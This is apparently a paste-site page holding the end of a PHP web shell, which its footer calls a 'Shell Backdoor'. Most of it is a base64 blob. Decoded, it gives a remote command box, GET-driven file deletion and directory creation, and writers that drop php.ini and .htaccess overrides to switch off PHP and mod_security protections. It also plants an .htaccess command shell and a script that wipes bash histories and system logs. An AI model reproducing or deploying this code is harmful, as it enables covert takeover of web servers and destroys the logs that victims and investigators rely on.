5maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0udHh0Jyk7fQplY2hvICc8YiBjbGFzcz0iY29uZSI+PGZvbnQgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAwZGQwMCIgc2l6ZT0iMnB0Ij48Yj5Eb25lIC0+PC9iPiA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iZXhwbG9kZWRjZ3JhYiI+T3BlbiBjb25maWdzPC9hPjwvZm9udD48L2I+Jzt9Cn0KICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYWJvdXQnKSkKICAgIHtAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAogICAgICAgIGVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5BYm91dDwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+CiI7CiAgICA/Pjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4meD1hYm91dCIgbWV0aG9kPSJwb3N0Ij48Y2VudGVyPjxicj48YnI+PGRpdiBjbGFzcz0nbXN1cGlhbmknPjxpbWcgc3JjPSdodHRwOi8vb2k1OC50aW55cGljLmNvbS8ydThmbW5uLmpwZycvPjwvZGl2Pgo8YnI+PGJyPjxicj48Zm9udCBzaXplPSIxMCIgY29sb3I9IiMwMGZmMDAiPjxiPlRoYW5rcyBUbyA6PC9iPjxicj48YnI+PGJyPjwvZm9udD48L2NlbnRlcj48Y2VudGVyPjxtYXJxdWVlIGRpcmVjdGlvbj0idXAiIHNjcm9sbGFtb3VudD0iMiIgYmdjb2xvcj0iIiB3aWR0aD0iMjUwIiBoZWlnaHQ9IjEwMCI+PGNlbnRlcj4KPHA+PGI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMGZmMDAiPkFsbGFoIFMuVy5UPGJyPjxicj5NeSBQYXJlbnQ8YnI+WXVsaWEgU3VzYW50aTxicj5BbGwgTWVtYmVyIFNlY3VyaXR5IEV4cGxvZGVkPGJyPjFONzNDVElPTjxicj5CMzc0Szxicj5Bbm9uR2hvc3Q8YnI+V1NPPGJyPkMxMDA8YnI+QmxhY2tTaGFkb3c8YnI+TWFkc3BvdDxicj48YnI+Cj1bIEdydWIgJiBGb3J1bSBdPTxicj48YnI+UGVudGVzdCAmIFNlY3VyaXR5IEluZG9uZXNpYTxicj5LYWxpIExpbnV4IEluZG9uZXNpYTxicj5TdXJhYmF5YSBCbGFjayBIYXQ8YnI+SW5kb25lc2lhbiBCYWNrdHJhY2sgVGVhbTxicj48YnI+PGJyPjxicj5CeTxicj5TZWN1cml0eSBFeHBsb2RlZCBhLmsuYSAuL1BvcnQyMjxicj48YnI+U3BlY2lhbCBQcmVzZW50IFRvIDo8QlI+PGNlbnRlcj48aW1nIHNyYz0iaHR0cDovL3d3dy5jbGtlci5jb20vY2xpcGFydHMvVy9xL0QvcC9lLzcvc21hbGwtcmVkLWhlYXJ0LXdpdGgtdHJhbnNwYXJlbnQtYmFja2dyb3VuZC1oaS5wbmciIHdpZHRoPScyMCcgaGVpZ2h0PScyMCc+PC9jZW50ZXI+WXVsaWEgU3VzYW50aTxicj48YnI+MTggTWFyIDIwMTQ8YnI+CjwvZm9udD48L2I+PC9wPjwvY2VudGVyPjwvbWFycXVlZT48L2NlbnRlcj48ZW1iZWQgc3JjPSI8Pz0kbXVzaWM7Pz4iIGF1dG9zdGFydD0iVFJVRSIgbG9vcD0iVFJVRSIgd2lkdGg9IjAiIGhlaWdodD0iMCI+PC9lbWJlZD48YnI+PGJyPjxicj4KPD9waHAKfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2hlbGwnKSl7ICA/Pjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4mYW1wO3g9c2hlbGwiIG1ldGhvZD0icG9zdCI+PHRhYmxlIGNsYXNzPSJjbWRib3giPgo8dHI+PHRkIGNvbHNwYW49IjIiPjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiByZWFkb25seT48P3BocCBpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdGNtZCddKSkgeyBlY2hvIEBleGUoJF9QT1NUWydjbWQnXSk7fSA/PjwvdGV4dGFyZWE+Cjx0cj48dGQgY29sc3Bhbj0iMiI+PD89JHByb21wdDsgPz48aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSIiIC8+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvICEiIG5hbWU9InN1Ym1pdGNtZCIgc3R5bGU9IndpZHRoOjEyJTsiIC8+PC90ZD48L3RyPgo8L3RhYmxlPjwvZm9ybT48P3BocCB9IAplbHNlIHsgCmlmKGlzc2V0KCRfR0VUWydkZWxldGUnXSkgJiYgKCRfR0VUWydkZWxldGUnXSAhPSAiIikpewogICAgJGZpbGUgPSAkX0dFVFsnZGVsZXRlJ107CiAgICBAdW5saW5rKCRmaWxlKTsKfQplbHNlaWYoaXNzZXQoJF9HRVRbJ2ZkZWxldGUnXSkgJiYgKCRfR0VUWydmZGVsZXRlJ10gIT0gIiIpKXsKICAgIEBybWRpcihydHJpbSgkX0dFVFsnZmRlbGV0ZSddLERJUkVDVE9SWV9TRVBBUkFUT1IpKTsKfQplbHNlaWYoaXNzZXQoJF9HRVRbJ21rZGlyJ10pICYmICgkX0dFVFsnbWtkaXInXSAhPSAiIikpewogICAgJHBhdGggPSAkcHdkLiRfR0VUWydta2RpciddOwogICAgQG1rZGlyKCRwYXRoKTsKfQogICAgJGJ1ZmYgPSBzaG93ZGlyKCRwd2QsJHByb21wdCk7CiAgICBlY2hvICRidWZmOwp9Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCj8+Cjxicj48dGFibGUgY2xhc3M9InRhYm5ldCIgPgo8dHI+PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+Jm5ic3A7PHRkPjxzZWxlY3QgY2xhc3M9ImlucHV0emJ1dCIgYWxpZ249ImxlZnQiICBuYW1lPSJwaWxpaGFuIiBpZD0icGlsaWgiPjxvcHRpb24gdmFsdWU9IiJzZWxlY3RlZD4tLS0tLS1bIFNlbGVjdCBZb3VyIEZhdm9yaXQgVG9vbHMgXS0tLS0tLTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Imh0YXNlbGwiPmh0YWNjZXNzIFNoZWxsIFsgLmh0YWNjZXNzIF08L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzbGMiID5TZXJ2ZXIgTG9nIENsZWFuZXIgWyBzZXJ2ZXJMQy5zaCBdPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iaW5pIj5CeXBhc3MgRGlzYWJsZSBGdW5jdGlvbiBpbiBBcGFjaGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJpbmlzIj5CeXBhc3MgRGlzYWJsZSBGdW5jdGlvbiBpbiBMaXRlc3BlZWQ8L29wdGlvbj48L3NlbGVjdD4KPGlucHV0ICB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdGVzIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iQ3JlYXRlZCI+CjwvdGQ+PC9mb3JtPjwvdHI+PC90YWJsZT4KPD9waHAKJHN1Ym1pdCA9ICRfUE9TVCBbJ3N1Ym1pdGVzJ107CmlmKGlzc2V0KCRzdWJtaXQpKSB7CiAgICAkcGlsaWggPSAkX1BPU1RbJ3BpbGloYW4nXTsKICAgICAgICBpZiAoICRwaWxpaCA9PSAnaW5pJykgewogICAgICAgICAgICAkYnlwaHAgPSAic2FmZV9tb2RlID0gT2ZmIFxuIGRpc2FibGVfZnVuY3Rpb25zID0gTm9uZSBcbiBzYWZlX21vZGVfZ2lkID0gT0ZGIFxuIG9wZW5fYmFzZWRpciA9IE9GRiBcbiBhbGxvd191cmxfZm9wZW4gPSBPbiI7CiAgICAgICAgICAgICRieWh0ID0gIjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4gXG4gU2VjRmlsdGVyRW5naW5lIE9mZiBcbiBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYgXG4gIFNlY0ZpbHRlckNoZWNrVVJMRW5jb2RpbmcgT2ZmIFxuICBTZWNGaWx0ZXJDaGVja1VuaWNvZGVFbmNvZGluZyBPZmYgXG4gIDwvSWZNb2R1bGU+IjsKICAgICAgICAgICAgJGluaXBocCA9ICc8PyBcbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBcbiBlY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOyBcbiBpbmNsdWRlKCRfR0VUWyJmaWxlIl0pOyBcbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IFxuIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgXG4gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsgXG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgXG4gaW5jbHVkZSgkX0dFVFsic3MiXTsgXG4gPz4nOwogICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygicGhwLmluaSIsJGJ5cGhwKTsKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsJGJ5aHQpOwogICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiaW5pLnBocCIsJGluaXBocCk7CiAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+YWxlcnQoJ0Rpc2FibGUgRnVuY3Rpb25zIGluIEFwYWNoZSBDcmVhdGVkJyk7IGhpZGVBbGwoKTs8L3NjcmlwdD4iOwpkaWUoKTsKICAgICAgICB9CiAgICAgICAgZWxzZWlmICggJHBpbGloID09ICdpbmlzJykgewogICAgICAgICRpbmlwaCA9ICc8P3BocCBcbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBcbiBlY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOyBcbiBpbmNsdWRlKCRfR0VUWyJmaWxlIl0pOyBcbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IFxuIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgXG4gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsgXG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgXG4gaW5jbHVkZSgkX0dFVFsic3MiXTsgXG4gPz4nOwogICAgICAgICAgICAgJGJ5cGggPSAic2FmZV9tb2RlID0gT2ZmIFxuIGRpc2FibGVfZnVuY3Rpb25zPSAiOwogICAgICAgICRjb21wPSJQRVpwYkdWeklDb3VjR2h3UGcwS1JtOXlZMlZVZVhCbElHRndjR3hwWTJGMGFXOXVMM2d0YUhSMGNHUXRjR2h3TkEwS1BDOUdhV3hsY3o0PSI7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoInBocC5pbmkiLGJhc2U2NF9kZWNvZGUoJGJ5cGgpKTsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiaW5pLnBocCIsYmFzZTY0X2RlY29kZSgkaW5pcGgpKTsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiLmh0YWNjZXNzIixiYXNlNjRfZGVjb2RlKCRjb21wKSk7CiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnRGlzYWJsZSBGdW5jdGlvbnMgaW4gTGl0ZXNwZWVkIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7CmRpZSgpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBlbHNlaWYgKCAkcGlsaWggPT0gJ3NsYycpIHsKICAgICAgICAkc2xjID0iSXlFdlltbHVMM05vRFFvaklGSmxZMjlrWldRZ1Fua2dMaTlRYjNKME1qSWdLRTFUZFhCcFlXNHBEUW9qSUVkeU16TjBlaUE2SUVGc2JDQk5aVzFpWlhKeklFOW1JRk5sWTNWeWFYUjVJRVY0Y0d4dlpHVmtEUW9qSUdOb2JXOWtJREEzTlRVZ2MyVnlkbVZ5VEVNdWMyZ2dQajRnTGk5elpYSjJaWEpNUXk1emFBMEtEUXBsWTJodklDSmJLbDBnUjI5cGJtY2dWRzhnUkdWc1pYUmxJRXh2WnlCVFpYSjJaWEp6SUM0dUxpQWlEUXBtYVc1a0lDOGdMVzVoYldVZ0tpNWlZWE5vWDJocGMzUnZjbmtnTFdWNFpXTWdjbTBnTFhKbUlIdDlJRnc3RFFwbWFXNWtJQzhnTFc1aGJXVWdLaTVpWVhOb1gyeHZaMjkxZENBdFpYaGxZeUJ5YlNBdGNtWWdlMzBnWERzTkNtWnBibVFnTHlBdGJtRnRaU0FpYkc5bktpSWdMV1Y0WldNZ2NtMGdMWEptSUh0OUlGdzdEUXBtYVc1a0lDOGdMVzVoYldVZ0tpNXNiMmNnTFdWNFpXTWdjbTBnTFhKbUlIdDlJRnc3RFFweWJTQXRjbVlnTDNSdGNDOXNiMmR6RFFweWJTQXRjbVlnSkVoSlUxUkdTVXhGRFFweWJTQXRjbVlnTDNKdmIzUXZMbXR6YUY5b2FYTjBiM0o1RFFweWJTQXRjbVlnTDNKdmIzUXZMbUpoYzJoZmFHbHpkRzl5ZVEwS2NtMGdMWEptSUM5eWIyOTBMeTVyYzJoZmFHbHpkRzl5ZVEwS2NtMGdMWEptSUM5eWIyOTBMeTVpWVhOb1gyeHZaMjkxZEEwS2NtMGdMWEptSUM5MWMzSXZiRzlqWVd3dllYQmhZMmhsTDJ4dlozTU5Dbkp0SUMxeVppQXZkWE55TDJ4dlkyRnNMMkZ3WVdOb1pTOXNiMmNOQ25KdElDMXlaaUF2ZG1GeUwyRndZV05vWlM5c2IyZHpEUXB5YlNBdGNtWWdMM1poY2k5aGNHRmphR1V2Ykc5bkRRcHliU0F0Y21ZZ0wzWmhjaTl5ZFc0dmRYUnRjQTBLY20wZ0xYSm1JQzkyWVhJdmJHOW5jdzBLY20wZ0xYSm1JQzkyWVhJdmJHOW5EUXB5YlNBdGNtWWdMM1poY2k5aFpHME5Dbkp0SUMxeVppQXZaWFJqTDNkMGJYQU5Dbkp0SUMxeVppQXZaWFJqTDNWMGJYQU5DZzBLWldOb2J5QWlXeXBkSUVSdmJtVWdMaUJIYjI5a0lFeDFZMnNnT3lraSI7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoInNlcnZlckxDLnNoIixiYXNlNjRfZGVjb2RlKCRzbGMpKTsKICAgICAgICBlY2hvICI8c2NyaXB0PmFsZXJ0KCdTZXJ2ZXIgTG9nIENsZWFuZXIgWyBzZXJ2ZXJMQy5zaCBdIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7CiAgICAgICAgZGllKCk7CiAgICAgICAgfQogICAgICAgIGVsc2VpZiAoICRwaWxpaCA9PSAnaHRhc2VsbCcpIHsKICAgICAgICAkaHQgPSAnUEVacGJHVnpJSDRnSWw1Y0xtaDBJajROQ2s5eVpHVnlJR0ZzYkc5M0xHUmxibmtOQ2tGc2JHOTNJR1p5YjIwZ1lXeHNEUW84TDJacGJHVnpQZzBLUVdSa1ZIbHdaU0JoY0hCc2FXTmhkR2x2Ymk5NExXaDBkSEJrTFhCb2NDQXVhSFJoWTJObGMzTU5DaU1nUEQ5d2FIQWdjR0Z6YzNSb2NuVW9KRjlIUlZSYkoyTnRaQ2RkS1RzL1BnMEsnOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLGJhc2U2NF9kZWNvZGUoJGh0KSk7CiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnaHRhY2Nlc3MgU2hlbGwgWyAuaHRhY2Nlc3MgXSBDcmVhdGVkIDogb3BlbiBpbiBzaXRlLy5odGFjY2Vzcz9jbWQ9ICcpOyBoaWRlQWxsKCk7PC9zY3JpcHQ+IjsKICAgICAgICBkaWUoKTsKICAgICAgICB9CiAgICAgICAgCiAgICB9CiAgICA="));
  27. ?><br><br> <div class="footer"><b style="color:$color;font-family:monotype corsiva;font-size:22;"><?=$title; ?> <?=$versi ?> Shell Backdoor</b></div>
  28. <div class="jaya"> &copy; <?=date('Y',time()); ?> <a href=""><?=$xName ?></a></div></div>
  29. </body>
  30. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement